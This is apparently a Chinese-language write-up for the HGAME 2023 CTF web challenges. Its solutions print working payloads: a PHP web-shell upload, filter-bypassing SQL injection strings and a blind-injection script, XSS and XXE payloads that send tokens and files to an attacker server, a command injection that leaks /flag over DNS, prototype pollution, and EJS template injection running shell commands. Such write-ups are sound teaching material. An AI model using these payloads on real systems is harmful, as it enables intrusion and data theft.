Week 1

Classic Childhood Game

翻 js 代码有一段数据

1
2
3
var a = [
  "\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35",
];

二次 base64 解码后是 flag

Become A Member

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET / HTTP/1.1
Host: week-1.hgame.lwsec.cn:32174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Cute-Bunny
referer:bunnybunnybunny.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For:127.0.0.1
Cookie: code=Vidar;Domain=localhost; guest=Cute-Bunny
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 47

{"username":"luckytoday","password":"happy123"}

Guess Who I Am

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import json
import requests

json_data = '[{"id":"ba1van4","intro":"21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640","url":"https://ba1van4.icu"},{"id":"yolande","intro":"21级 / 非常菜的密码手 / 很懒的摸鱼爱好者，有点呆，想学点别的但是一直开摆","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=rY328VIqDc7lNtujYic8JxA&s=640","url":"https://y01and3.github.io/"},{"id":"t0hka","intro":"21级 / 日常自闭的Re手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=EYNwm1PQe8o5OcghFb4zfw&s=640","url":"https://blog.t0hka.top/"},{"id":"h4kuy4","intro":"21级 / 菜鸡pwn手 / 又菜又爱摆","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=BmACniaibVb6IL6LiaYF4Uvlw&s=640","url":"https://hakuya.work"},{"id":"kabuto","intro":"21级web / cat../../../../f*","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=oPn2ez6Nq12GqPZG6cV7nw&s=640","url":"https://www.bilibili.com/video/BV1GJ411x7h7/"},{"id":"R1esbyfe","intro":"21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=FLyUHP6nYov19gA0ia83u8Q&s=640","url":"https://r1esbyfe.top/"},{"id":"tr0uble","intro":"21级 / 喜欢肝原神的密码手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=bgcib3gBjJGdKEf7BZ512Uw&s=640","url":"https://clingm.top"},{"id":"Roam","intro":"21级 / 入门级crypto","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=5wzr9TVyw2nxOz5Jb7ceaQ&s=640","url":"#"},{"id":"Potat0","intro":"20级 / 摆烂网管 / DN42爱好者","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=NicTy1CDqeHsgzbZEIUU2wg&s=640","url":"https://potat0.cc/"},{"id":"Summer","intro":"20级 / 歪脖手 / 想学运维 / 发呆业务爱好者","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=4y6zxTBSB3cbseeyPvQWng&s=640","url":"https://blog.m1dsummer.top"},{"id":"chuj","intro":"20级 / 已退休不再参与大多数赛事 / 不好好学习，生活中就会多出许多魔法和奇迹","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=aM4tJSQSxB5gcauIMDEtUg&s=640","url":"https://cjovi.icu"},{"id":"4nsw3r","intro":"20级会长 / re / 不会pwn","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=j3LOiav9IluKSYg1VEibblZw&s=640","url":"https://4nsw3r.top/"},{"id":"4ctue","intro":"20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期","avatar":"","url":"#"},{"id":"0wl","intro":"20级 / Re手 / 菜","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=06FRYslcuprt59OxibicdhqQ&s=640","url":"https://0wl-alt.github.io"},{"id":"At0m","intro":"20级 / web / 想学iot","avatar":"","url":"https://homeboyc.cn/"},{"id":"ChenMoFeiJin","intro":"20级 / Crypto / 摸鱼学代师","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=5xyCaLib3lovjrUzf5pWxDQ&s=640","url":"https://chenmofeijin.top"},{"id":"Klrin","intro":"20级 / WEB / 菜的抠脚 / 想学GO","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=nnzEWNwxMS88jKYre5fOjg&s=640","url":"https://blog.mjclouds.com/"},{"id":"ek1ng","intro":"20级 / Web / 还在努力","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=pJFuHEqNaFk1If1STvRibWw&s=640","url":"https://ek1ng.com"},{"id":"latt1ce","intro":"20级 / Crypto&BlockChain / Plz V me 50 eth","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=EmPiaz7Msgg7iaia9tibibjdUyw&s=640","url":"https://lee-tc.github.io/"},{"id":"Ac4ae0","intro":"*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=EI7A02PYs5WUVFP2bciad8w&s=640","url":"https://twitter.com/LAttic1ng"},{"id":"Akira","intro":"19级 / 不会web / 半吊子运维 / 今天您漏油了吗","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=ku1vqyI1hLJr61PGIlic7Ow&s=640","url":"https://4kr.top"},{"id":"qz","intro":"19级 / 摸鱼美工 / 学习图形学、渲染ing","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=q5qVDcvyzxee4qiays52mibA&s=640","url":"https://fl0.top/"},{"id":"Liki4","intro":"19级 / 脖子笔直歪脖手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=E3j3BJrsAfyl1arfnFKufQ&s=640","url":"https://github.com/Liki4"},{"id":"0x4qE","intro":"19级 / &lt;/p&gt;&lt;p&gt;Web","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=K7icYial1VVzlNl7hrD9MlNw&s=640","url":"https://github.com/0x4qE"},{"id":"xi4oyu","intro":"19级 / 骨瘦如柴的胖手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=JfeMY6Lz5ZU4GmtTV85otQ&s=640","url":"https://www.xi4oyu.top/"},{"id":"R3n0","intro":"19级 / bin底层选手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=icY08gnMlXtoYIJ9ib3eJQ2g&s=640","url":"https://r3n0.top"},{"id":"m140","intro":"19级 / 不会re / dl萌新 / 太弱小了，没有力量 / 想学游戏","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=zt0iccbnGuV8dOpXIYrJgvg&s=640","url":"#"},{"id":"Mezone","intro":"19级 / 普通的binary爱好者。","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=rDD29iahzzg8AvQX7fdbFPg&s=640","url":"#"},{"id":"d1gg12","intro":"19级 / 游戏开发 / 🐟粉","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=icawQKtjLcRiaj7scTRBZ9Qw&s=640","url":"https://d1g.club"},{"id":"Trotsky","intro":"19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=LiasEshjTXTrNzJjPHVY3Vw&s=640","url":"https://altonhe.github.io/"},{"id":"Gamison","intro":"19级 / 挖坑不填的web选手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=0VaAu2go9mvrMXu1ibmKy1g&s=640","url":"http://aw.gamison.top"},{"id":"Tinmix","intro":"19级会长 / DL爱好者 / web苦手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=L2EclrAltb7lk3LBPY6oWA&s=640","url":"http://poi.ac"},{"id":"RT","intro":"19级 / Re手，我手呢？","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=p1TD1qwKfEK8NZExRDqic1A&s=640","url":"https://wr-web.github.io"},{"id":"wenzhuan","intro":"18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包","avatar":"","url":"https://wzyxv1n.top/"},{"id":"Cosmos","intro":"18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨","avatar":"","url":"https://cosmos.red"},{"id":"Y","intro":"18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手","avatar":"","url":"https://blog.xyzz.ml:444/"},{"id":"Annevi","intro":"18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=WN9x96MpjSJ3Gc7a3SHtDw&s=640","url":"https://annevi.cn"},{"id":"logong","intro":"18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟","avatar":"","url":"http://logong.vip"},{"id":"Kevin","intro":"18 级 / Web / 车万","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=jaXAqywDMbia39e4OfGXicPQ&s=640","url":"https://harmless.blue/"},{"id":"LurkNoi","intro":"18级 / 会一丢丢crypto / 摸鱼","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=CLTlN5QPS3aI60icIoxGmdQ&s=640","url":"#"},{"id":"幼稚园","intro":"18级会长 / 二进制安全 /  干拉","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=G2o7mX9RCTkiaCHeEiaJLBwA&s=640","url":"https://danisjiang.com"},{"id":"lostflower","intro":"18级 / 游戏引擎开发 / 尚有梦想的game maker","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=eQHtN69C2tgM8Ul8PmtTKw&s=640","url":"https://r000setta.github.io"},{"id":"Roc826","intro":"18 级 / Web 底层选手","avatar":"","url":"http://www.roc826.cn/"},{"id":"Seadom","intro":"18 级 / Web / 真\xb7菜到超乎想象 / 拼死学（mo）习（yu）中","avatar":"","url":"#"},{"id":"ObjectNotFound","intro":"18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合！","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=yQnkF86Uy6UkZrZmFYLL4g&s=640","url":"https://www.zhouweitong.site"},{"id":"Moesang","intro":"18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼！","avatar":"","url":"https://blog.wz22.cc"},{"id":"E99p1ant","intro":"18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=AJQ9RJRCavhSibMZtRq2JOQ&s=640","url":"https://github.red/"},{"id":"Michael","intro":"18 级 / Java / 会除我佬","avatar":"","url":"http://michaelsblog.top/"},{"id":"matrixtang","intro":"18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向","avatar":"","url":"#"},{"id":"r4u","intro":"18级 / 不可以摸🐠哦","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=rJCqQv1EzicpDW77nMa5bYw&s=640","url":"http://r4u.top/"},{"id":"357","intro":"18级 / 并不会web / 端茶送水选手","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=POaV9Y85NiaUcibaETEKTpfw&s=640","url":"#"},{"id":"Li4n0","intro":"17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友","avatar":"","url":"https://blog.0e1.top"},{"id":"迟原静","intro":"17级 / Focus on Java Security","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=xyVPFvQ2dWReoBiahd7naSw&s=640","url":"#"},{"id":"Ch1p","intro":"17 级 / 自称 Bin 手实际啥都不会 / 二次元安全","avatar":"","url":"http://ch1p.top"},{"id":"f1rry","intro":"17 级 / Web","avatar":"","url":"#"},{"id":"mian","intro":"17 级 / 业余开发 / 专业摸鱼","avatar":"","url":"https://www.intmian.com"},{"id":"ACce1er4t0r","intro":"17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=gRBlwiawx1lF4UkPKh4Liczg&s=640","url":"#"},{"id":"MiGo","intro":"17级 / 二战人 / 老二次元 / 兴趣驱动生活","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=XzZggL7hDeicLXb2FSic6sfg&s=640","url":"https://migoooo.github.io/"},{"id":"BrownFly","intro":"17级 / RedTeamer / 字节跳动安全工程师","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=EnNslsFelj9HibuKoNHwmyg&s=640","url":"https://brownfly.github.io"},{"id":"Aris","intro":"17级/ Key厨 / 腾讯玄武倒水的","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=anjeaJmx1X79Yp1DNxWrRA&s=640","url":"https://blog.ar1s.top"},{"id":"hsiaoxychen","intro":"17级 / 游戏厂打工仔 / 来深圳找我快活","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=YGiaicyZ3NkWfOoGOlLPWvAw&s=640","url":"https://chenxy.me"},{"id":"Lou00","intro":"17级 / web / 东南读研","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=fdAMuUicvOObMv3eZC8y0Ew&s=640","url":"https://blog.lou00.top"},{"id":"Junier","intro":"16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献","avatar":"","url":"#"},{"id":"bigmud","intro":"16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制","avatar":"","url":"#"},{"id":"NeverMoes","intro":"16 级 / Java 福娃 / 上班 996 / 下班 669","avatar":"","url":"#"},{"id":"Sora","intro":"16 级 / Web Developer","avatar":"","url":"https://github.com/Last-Order"},{"id":"fantasyqt","intro":"16 级 / 可能会运维 / 摸鱼选手","avatar":"","url":"http://0x2f.xyz"},{"id":"vvv_347","intro":"16 级 / Rev / Windows / Freelancer","avatar":"","url":"https://vvv-347.space"},{"id":"veritas501","intro":"16 级 / Bin / 被迫研狗","avatar":"","url":"https://veritas501.space"},{"id":"LuckyCat","intro":"16 级 / Web 🐱 / 现于长亭科技实习","avatar":"","url":"https://jianshu.com/u/ad5c1e097b84"},{"id":"Ash","intro":"16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死","avatar":"","url":"#"},{"id":"Cyris","intro":"16 级 / Web 前端 / 美工 / 阿里云搬砖","avatar":"https://cdn.jsdelivr.net/npm/cyris/images/avatar.png","url":"https://cyris.moe/"},{"id":"Acaleph","intro":"16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒！","avatar":"","url":"#"},{"id":"b0lv42","intro":"16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠","avatar":"","url":"https://b0lv42.github.io/"},{"id":"ngc7293","intro":"16 级 / 蟒蛇饲养员 / 高数小王子","avatar":"","url":"https://ngc7292.github.io/"},{"id":"ckj123","intro":"16 级 / Web / 菜鸡第一人","avatar":"","url":"https://www.ckj123.com"},{"id":"cru5h","intro":"16级 / 前web手、现pwn手 / 菜鸡研究生 / scu","avatar":"https://thirdqq.qlogo.cn/g?b=sdk&k=5kpiaPnLZ1cWrp0G8O4qHDg&s=640","url":"#"},{"id":"xiaoyao52110","intro":"16 级 / Bin 打杂 / 他们说菜都是假的，我是真的","avatar":"","url":"#"},{"id":"Undefinedv","intro":"15 级网安协会会长 / Web 安全","avatar":"","url":"#"},{"id":"Spine","intro":"逆向 / 二进制安全","avatar":"","url":"#"},{"id":"Tata","intro":"二进制 CGC 入门水准 / 半吊子爬虫与反爬虫","avatar":"","url":"#"},{"id":"Airbasic","intro":"Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三","avatar":"","url":"#"},{"id":"jibo","intro":"15 级 / 什么都不会的开发 / 打什么都菜","avatar":"","url":"#"},{"id":"Processor","intro":"15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜","avatar":"","url":"https://processor.pub/"},{"id":"HeartSky","intro":"15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出","avatar":"","url":"http://heartsky.info"},{"id":"Minygd","intro":"15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅","avatar":"","url":"#"},{"id":"Yotubird","intro":"15 级 / 已入 Python 神教","avatar":"","url":"#"},{"id":"c014","intro":"15 级 / Web 🐶 / 汪汪汪","avatar":"","url":"#"},{"id":"Explorer","intro":"14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研","avatar":"","url":"#"},{"id":"Aklis","intro":"14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师","avatar":"","url":"#"},{"id":"Sysorem","intro":"14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾","avatar":"","url":"#"},{"id":"Hcamael","intro":"13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞，密码学，区块链都看得懂一点，但啥也不会","avatar":"","url":"#"},{"id":"LoRexxar","intro":"14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员","avatar":"","url":"https://lorexxar.cn/"},{"id":"A1ex","intro":"14 级网安协会副会长 / Web 安全","avatar":"","url":"#"},{"id":"Ahlaman","intro":"14 级网安协会副会长 / 无线安全","avatar":"","url":"#"},{"id":"lightless","intro":"Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究","avatar":"","url":"https://lightless.me/"},{"id":"Edward_L","intro":"13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全，fuzz，符号执行方向研究","avatar":"","url":"#"},{"id":"逆风","intro":"13 级菜鸡 / 大数据打杂","avatar":"","url":"https://github.com/deadwind4"},{"id":"陈斩仙","intro":"什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU","avatar":"","url":"https://mxgcccc4.github.io/"},{"id":"Eric","intro":"渗透 / 人工智能 / 北师大博士在读","avatar":"","url":"https://3riccc.github.io"}]'
data = json.loads(json_data)
# print(data[99]['intro'])

s = requests.Session()
url = "http://week-1.hgame.lwsec.cn:31292"
for i in range(100):
    r = s.get(url+"/api/getQuestion").json()
    print(r['message'])
    for j in range(100):
        if(data[j]['intro'] == r['message']):
            print(data[j])
            r = s.post(url+"/api/verifyAnswer",data={"id":data[j]['id']}).text
            print(r)
            break
    r = s.get(url+"/api/getScore").text
    print(r)

Show Me Your Beauty

传 .pHP 后缀文件，可以正常解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /upload.php HTTP/1.1
Host: week-1.hgame.lwsec.cn:30132
Content-Length: 229
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc0uFodxkYi3qQZ9m
Origin: http://week-1.hgame.lwsec.cn:30132
Referer: http://week-1.hgame.lwsec.cn:30132/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=MTY3Mjk3MjczNHxEdi1CQkFFQ180SUFBUkFCRUFBQU9fLUNBQUlHYzNSeWFXNW5EQTBBQzJOb1lXeHNaVzVuWlVsa0EybHVkQVFDQUh3R2MzUnlhVzVuREFnQUJuTnZiSFpsWkFOcGJuUUVBZ0FJfAHPerVxvZqIjEkV1SwR3zoY9rLTGfUtAM9-LiKqF-Mw; PHPSESSID=8mu2c82dr6pvb9orl2646f8e0r
Connection: close

------WebKitFormBoundaryc0uFodxkYi3qQZ9m
Content-Disposition: form-data; name="file"; filename="l3n.pHP"
Content-Type: image/png

GIF89a
<?php echo "hacked";system($_GET['l1n']);
------WebKitFormBoundaryc0uFodxkYi3qQZ9m--

Week 2

git leak

1
2
3
4
python3 GitHack.py http://week-2.hgame.lwsec.cn:32020/.git/
cd week-2.hgame.lwsec.cn_32020
cat Th1s_1s-flag
	hgame{Don't^put*Git-in_web_directory}

V2board

1
2
3
4
python3 poc.py -u http://week-2.hgame.lwsec.cn:32628/
cd dump/week-2.hgame.lwsec.cn:32628
cat user.json
	flag: hgame{39d580e71705f6abac9a414def74c466}

Search Commodity

提示给够了，登录框不需要注入，是一个弱密码 user01/admin123

对 id 参数进行注入，发现使用 database() 会报错，需要判断一下数据库类型

能用的

  • user()
  • length()
  • version()
  • @@version
  • @@secure_file_priv
    不能用的
  • len()

应该是 mysql，为什么 database()用不了呢，尝试双写 database，发现可以绕过了

继续测试，发现 2-1 可以使用，但是 order by 1 用不了

继续测试，认为过滤了空格，测试 /**/，发现还是不行，那测试一下是否过滤了 /**/ 这个字符串，5-length("/**/")，发现计算结果是 5，说明 /**/ 也被过滤了。继续双写绕过

  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,datadatabasebase(),3#
    • se4rch
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()),1#
    • 5ecret15here,L1st,user1nf0
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()/*/**/*/aandnd/*/**/*/table_name/*/**/*/like/*/**/*/"5ecret15here"),1#
    • f14gggg1shere
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/f14gggg1shere/*/**/*/frfromom/*/**/*/5ecret15here),1#
    • hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

Designer

看到获取 flag 的逻辑，需要本地 POST 访问/user/register，才能拿到包含有 flag 的 token

之后拿这个 token 到 /user/info 去解密，拿到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post("/user/register", (req, res) => {
  const username = req.body.username;
  let flag = "hgame{fake_flag_here}";
  if (
    (username == "admin" && req.ip == "127.0.0.1") ||
    req.ip == "::ffff:127.0.0.1"
  ) {
    flag = "hgame{true_flag_here}";
  }
  const token = jwt.sign({ username, flag }, secret);
  res.json({ token });
});
app.get("/user/info", auth, (req, res) => {
  res.json({ username: req.user.username, flag: req.user.flag });
});

有一个打 XSS 的点在 /button/preview，我们很容易看到对于传入的 req.query 过滤并不专业

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const blacklist = [
  /on/i,
  /localStorage/i,
  /alert/,
  /fetch/,
  /XMLHttpRequest/,
  /window/,
  /location/,
  /document/,
];
for (const key in req.query) {
  for (const item of blacklist) {
    if (item.test(key.trim()) || item.test(req.query[key].trim())) {
      req.query[key] = "";
    }
  }
}

使用一下 query 即可绕过

1
2
3
{
  "l1n": "tel;\"></a><script>eval(atob(\"${base64payload}\"))</script><a>"
}

xss 点有了，尝试直接从 window.localStorage.getItem("token") 获取 bot 的 token，发现返回的是 null

1
2
3
4
5
document.write(
  `<img src="http://vps:port/?flag=${btoa(
    window.localStorage.getItem("token")
  )}" />`
);

那么，我尝试了这样的打法，xss 让 bot 去/user/register 注册一个 admin 账号，把 token 通过 img 标签发送回来

1
2
3
4
5
6
7
8
9
10
11
fetch("/user/register", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
  },
  body: "username=admin",
})
  .then((res) => res.text())
  .then((res) => {
    document.write(`<img src="http://vps:port/?flag=${btoa(res)}" />`);
  });

拿到 flag

Week 3

Gopher Shop

购买逻辑判断得不是很严格，uint 大概可以整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
//校验是否买的起
if err != nil || number < 1 || user.Balance < uint(number) * price{
	context.JSON(400, gin.H{"error": "invalid request"})
	return
}

user.Days -= 1
user.Inventory -= uint(number)
user.Balance -= uint(number) * price

//扣除库存和余额
err = db.UpdateUserInfo(user)

购买 1844674407370955162 个 Apple，花费 1844674407370955162*10 : user.Balance > uint(18446744073709551620)

1
/api/v1/user/buyProduct?product=Apple&number=1844674407370955162

获得 n 多个 Apple，sell 掉 1000000000000000000 个，获得 10000000000000000000 Vidar Coin，然后就可以买 flag 啦

Ping To The Host

输入 ip，然后后台 ping ip

可以 dnslog 外带数据

1
2
ip=$(ec''ho%09/f*).xxxxx.ceye.io
ip=$(ca''t%09/fl''ag_is_here_haha).xxxxx.ceye.io

Login To Get My Gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

url = "http://week-3.hgame.lwsec.cn:32604/"

database = "L0g1NMe"
table_name = "User1nf0mAt1on"
column_name = "id,PAssw0rD,UsErN4me"
UsErN4me = "hgAmE2023HAppYnEwyEAr,testuser"
PAssw0rD = "WeLc0meT0hgAmE2023hAPPySql,testpasswrod"
for i in range(0,100):
    for j in range(32,127):
        data={
            "username":"testuser",
            # "password":"t'or\tlength(database())-%s"%str(i) legnth(database()) == 7
            # "password":"tes'or\tascii(right(left(database(),%s),1))-%s#" %(i,j)
            # "password":"t'or\tlength((select\tgroup_concat(table_name)\tfrom\tinformation_schema.tables\twhere\ttable_schema\tregexp\tdatabase()))-14#"
            # "password":"tes'or\tascii(right(left(((select\tgroup_concat(table_name)\tfrom\tinformation_schema.tables\twhere\ttable_schema\tregexp\tdatabase())),%s),1))-%s#" %(i,j)
            # "password":"t'or\tlength((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name\tregexp\t\"User1nf0mAt1on\"))-20#"
            # "password":"tes'or\tascii(right(left(((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name\tregexp\t\"User1nf0mAt1on\")),%s),1))-%s#" %(i,j)
            # "password":"t'or\tlength((select\tgroup_concat(UsErN4me)\tfrom\tUser1nf0mAt1on))-30#"
            # "password":"tes'or\tascii(right(left(((select\tgroup_concat(UsErN4me)\tfrom\tUser1nf0mAt1on)),%s),1))-%s#" %(i,j)
            "password":"tes'or\tascii(right(left(((select\tgroup_concat(PAssw0rD)\tfrom\tUser1nf0mAt1on)),%s),1))-%s#" %(i,j)
        }
        r = requests.post(url+"login",data=data)
        # print(r.text)
        if "Failed" in r.text:
            # print(i)
            PAssw0rD += chr(j)
            print(PAssw0rD)
            break
        else:
            continue

print(database)
print(table_name)
print(column_name)
print(UsErN4me)
print(PAssw0rD)

Week 4

Tell Me

XXE 盲注

参考文章: https://m3lon.github.io/2019/01/20/xxe 实验踩坑记录/

而且题目会直接报错，把 flag 整出来

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://vps:port/evil.dtd">
%dtd;%int;%send; ]>

evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://vps:port/?p=%file;'>">
1
2
3
<?php
    $flag1 = "hgame{Be_Aware_0f_XXeBl1nd1njecti0n}";
?>

Shared Diary

原型链污染

1
2
3
4
5
6
7
8
9
{
  "username": "tel",
  "password": "tel",
  "constructor": {
    "prototype": {
      "role": "admin"
    }
  }
}

ejs 模板完全可控 SSTI，查到了 https://miaotony.xyz/2021/03/04/CTF_2021HgameWeek4/#toc-heading-3

可以使用

  • < % - 输出非转义的数据到模板
1
2
3
diary=<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}